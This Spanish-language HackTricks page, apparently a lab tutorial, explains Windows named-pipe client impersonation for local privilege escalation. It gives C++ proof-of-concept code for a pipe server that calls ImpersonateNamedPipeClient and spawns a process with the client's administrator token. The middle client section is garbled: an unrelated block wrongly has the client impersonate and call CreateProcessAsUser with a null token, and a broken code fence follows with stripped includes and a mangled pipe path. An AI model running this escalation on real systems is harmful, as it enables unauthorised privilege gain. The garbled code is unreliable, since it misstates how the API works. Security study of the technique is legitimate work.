hacktricks/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md

12 KiB

Impersonación de cliente de tubería con nombre

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Esta información fue copiada de https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation

Descripción general

Una tubería es un bloque de memoria compartida que los procesos pueden usar para comunicarse e intercambiar datos.

Las tuberías con nombre son un mecanismo de Windows que permite que dos procesos no relacionados intercambien datos entre sí, incluso si los procesos se encuentran en dos redes diferentes. Es muy similar a la arquitectura cliente/servidor, ya que existen nociones como un servidor de tubería con nombre y un cliente de tubería con nombre.

Un servidor de tubería con nombre puede abrir una tubería con nombre con un nombre predefinido y luego un cliente de tubería con nombre puede conectarse a esa tubería a través del nombre conocido. Una vez establecida la conexión, puede comenzar el intercambio de datos.

Este laboratorio se refiere a un código PoC simple que permite:

  • crear un servidor de tubería con nombre tonto de un solo subproceso que aceptará una conexión de cliente
  • que el servidor de tubería con nombre escriba un mensaje simple en la tubería con nombre para que el cliente de la tubería pueda leerlo

Código

A continuación se muestra el PoC tanto para el servidor como para el cliente:

{% tabs %} {% tab title="namedPipeServer.cpp" %}

#include "pch.h"
#include <Windows.h>
#include <iostream>

int main() {
	LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
	LPVOID pipeBuffer = NULL;
	HANDLE serverPipe;
	DWORD readBytes = 0;
	DWORD readBuffer = 0;
	int err = 0;
	BOOL isPipeConnected;
	BOOL isPipeOpen;
	wchar_t message[] = L"HELL";
	DWORD messageLenght = lstrlen(message) * 2;
	DWORD bytesWritten = 0;

	std::wcout << "Creating named pipe " << pipeName << std::endl;
	serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
	
	isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
	if (isPipeConnected) {
		std::wcout << "Incoming connection to " << pipeName << std::endl;
	}
	
	std::wcout << "Sending message: " << message << std::endl;
	WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
	
	return 0;
}

{% endtab %}

{% tab title="namedPipeClient.cpp" %}

Named Pipe Client Impersonation

Este código muestra cómo un cliente puede conectarse a un servidor de tuberías con nombre y luego usar la función ImpersonateNamedPipeClient para obtener el token de seguridad del cliente y ejecutar un comando con los permisos del cliente.

#include <windows.h>
#include <stdio.h>
#include <tchar.h>

#define BUFSIZE 512

int _tmain(int argc, TCHAR *argv[])
{
   HANDLE hPipe;
   LPTSTR lpvMessage=TEXT("Default message from client.");
   TCHAR chBuf[BUFSIZE];
   BOOL fSuccess = FALSE;
   DWORD cbRead, cbToWrite, cbWritten, dwMode;
   LPTSTR lpszPipename = TEXT("\\\\.\\pipe\\mynamedpipe");

   if( argc > 1 )
      lpvMessage = argv[1];

// Try to open a named pipe; wait for it, if necessary.

   while (1)
   {
      hPipe = CreateFile(
         lpszPipename,   // pipe name
         GENERIC_READ |  // read and write access
         GENERIC_WRITE,
         0,              // no sharing
         NULL,           // default security attributes
         OPEN_EXISTING,  // opens existing pipe
         0,              // default attributes
         NULL);          // no template file

   // Break if the pipe handle is valid.

      if (hPipe != INVALID_HANDLE_VALUE)
         break;

      // Exit if an error other than ERROR_PIPE_BUSY occurs.

      if (GetLastError() != ERROR_PIPE_BUSY)
      {
         _tprintf( TEXT("Could not open pipe. GLE=%d\n"), GetLastError() );
         return -1;
      }

      // All pipe instances are busy, so wait for 20 seconds.

      if ( ! WaitNamedPipe(lpszPipename, 20000))
      {
         printf("Could not open pipe: 20 second wait timed out.");
         return -1;
      }
   }

// The pipe connected; change to message-read mode.

   dwMode = PIPE_READMODE_MESSAGE;
   fSuccess = SetNamedPipeHandleState(
      hPipe,    // pipe handle
      &dwMode,  // new pipe mode
      NULL,     // don't set maximum bytes
      NULL);    // don't set maximum time

   if ( ! fSuccess)
   {
      _tprintf( TEXT("SetNamedPipeHandleState failed. GLE=%d\n"), GetLastError() );
      return -1;
   }

// Send a message to the pipe server.

   cbToWrite = (lstrlen(lpvMessage)+1)*sizeof(TCHAR);
   _tprintf( TEXT("Sending %d byte message: \"%s\"\n"), cbToWrite, lpvMessage);

   fSuccess = WriteFile(
      hPipe,                  // pipe handle
      lpvMessage,             // message
      cbToWrite,              // message length
      &cbWritten,             // bytes written
      NULL);                  // not overlapped

   if ( ! fSuccess)
   {
      _tprintf( TEXT("WriteFile to pipe failed. GLE=%d\n"), GetLastError() );
      return -1;
   }

   printf("\nMessage sent to server, receiving reply as follows:\n");

   do
   {
   // Read from the pipe.

      fSuccess = ReadFile(
         hPipe,    // pipe handle
         chBuf,    // buffer to receive reply
         BUFSIZE*sizeof(TCHAR),  // size of buffer
         &cbRead,  // number of bytes read
         NULL);    // not overlapped

      if ( ! fSuccess && GetLastError() != ERROR_MORE_DATA )
         break;

      _tprintf( TEXT("\"%s\"\n"), chBuf );
   } while ( ! fSuccess);  // repeat loop if ERROR_MORE_DATA

   if ( ! fSuccess)
   {
      _tprintf( TEXT("ReadFile from pipe failed. GLE=%d\n"), GetLastError() );
      return -1;
   }

   printf("\n<End of message, press ENTER to terminate connection and exit>");
   _getch();

// Impersonate the named pipe client.

   if (!ImpersonateNamedPipeClient(hPipe))
   {
      _tprintf( TEXT("ImpersonateNamedPipeClient failed. GLE=%d\n"), GetLastError() );
      return -1;
   }

// Execute a command as the named pipe client.

   if (!CreateProcessAsUser(NULL, _T("C:\\Windows\\System32\\cmd.exe"), NULL, NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL))
   {
      _tprintf( TEXT("CreateProcessAsUser failed. GLE=%d\n"), GetLastError() );
      return -1;
   }

// Stop impersonating the named pipe client.

   if (!RevertToSelf())
   {
      _tprintf( TEXT("RevertToSelf failed. GLE=%d\n"), GetLastError() );
      return -1;
   }

   CloseHandle(hPipe);

   return 0;
}
```cpp #include "pch.h" #include #include

const int MESSAGE_SIZE = 512;

int main() { LPCWSTR pipeName = L"\\10.0.0.7\pipe\mantvydas-first-pipe"; HANDLE clientPipe = NULL; BOOL isPipeRead = true; wchar_t message[MESSAGE_SIZE] = { 0 }; DWORD bytesRead = 0;

std::wcout << "Connecting to " << pipeName << std::endl;
clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

while (isPipeRead) {
	isPipeRead = ReadFile(clientPipe, &message, MESSAGE_SIZE, &bytesRead, NULL);
	std::wcout << "Received message: " << message;
}

return 0;

}

{% endtab %}
{% endtabs %}

## Ejecución

A continuación se muestra el servidor de named pipe y el cliente de named pipe funcionando como se esperaba:

![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22.png>)

Vale la pena señalar que la comunicación de named pipes por defecto utiliza el protocolo SMB:

![](<../../.gitbook/assets/Screenshot from 2019-04-04 23-51-48.png>)

Comprobando cómo el proceso mantiene un identificador para nuestro named pipe `mantvydas-first-pipe`:

![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (1).png>)

De manera similar, podemos ver que el cliente tiene un identificador abierto para el named pipe:

![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (2).png>)

Incluso podemos ver nuestro pipe con powershell:
```csharp
((Get-ChildItem \\.\pipe\).name)[-1..-5]

Impersonación de Token

{% hint style="info" %} Tenga en cuenta que para suplantar el token del proceso del cliente, es necesario que el proceso del servidor que crea la tubería tenga el privilegio de token SeImpersonate {% endhint %}

Es posible que el servidor de la tubería con nombre suplante el contexto de seguridad del cliente de la tubería con nombre aprovechando una llamada de API ImpersonateNamedPipeClient, que a su vez cambia el token del subproceso actual del servidor de la tubería con nombre con el token del cliente de la tubería con nombre.

Podemos actualizar el código del servidor de la tubería con nombre de esta manera para lograr la suplantación - tenga en cuenta que las modificaciones se ven en la línea 25 y siguientes:

int main() {
	LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
	LPVOID pipeBuffer = NULL;
	HANDLE serverPipe;
	DWORD readBytes = 0;
	DWORD readBuffer = 0;
	int err = 0;
	BOOL isPipeConnected;
	BOOL isPipeOpen;
	wchar_t message[] = L"HELL";
	DWORD messageLenght = lstrlen(message) * 2;
	DWORD bytesWritten = 0;

	std::wcout << "Creating named pipe " << pipeName << std::endl;
	serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
	
	isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
	if (isPipeConnected) {
		std::wcout << "Incoming connection to " << pipeName << std::endl;
	}
	
	std::wcout << "Sending message: " << message << std::endl;
	WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
	
	std::wcout << "Impersonating the client..." << std::endl;
	ImpersonateNamedPipeClient(serverPipe);
	err = GetLastError();	

	STARTUPINFO	si = {};
	wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe";
	PROCESS_INFORMATION pi = {};
	HANDLE threadToken = GetCurrentThreadToken();
	CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

	return 0;
}

Al ejecutar el servidor y conectarse a él con el cliente que se está ejecutando bajo el contexto de seguridad de administrador@offense.local, podemos ver que el hilo principal del named server pipe asumió el token del cliente de named pipe - offense\administrator, aunque el PipeServer.exe en sí se está ejecutando bajo el contexto de seguridad de ws01\mantvydas. ¿Suena como una buena manera de escalar privilegios?